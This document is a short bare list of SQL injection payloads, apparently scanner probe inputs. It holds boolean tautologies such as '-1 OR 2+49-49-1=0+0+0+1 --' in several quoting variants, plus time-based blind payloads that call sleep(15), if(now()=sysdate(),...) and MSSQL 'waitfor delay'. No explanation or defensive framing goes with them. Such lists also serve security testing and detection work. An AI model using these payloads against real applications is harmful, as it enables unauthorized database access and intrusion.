1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

-1 OR 2+49-49-1=0+0+0+1 --

-1 OR 2+440-440-1=0+0+0+1

-1' OR 2+152-152-1=0+0+0+1 --

-1' OR 2+272-272-1=0+0+0+1 or 'lreFfVlJ'='

-1" OR 2+670-670-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --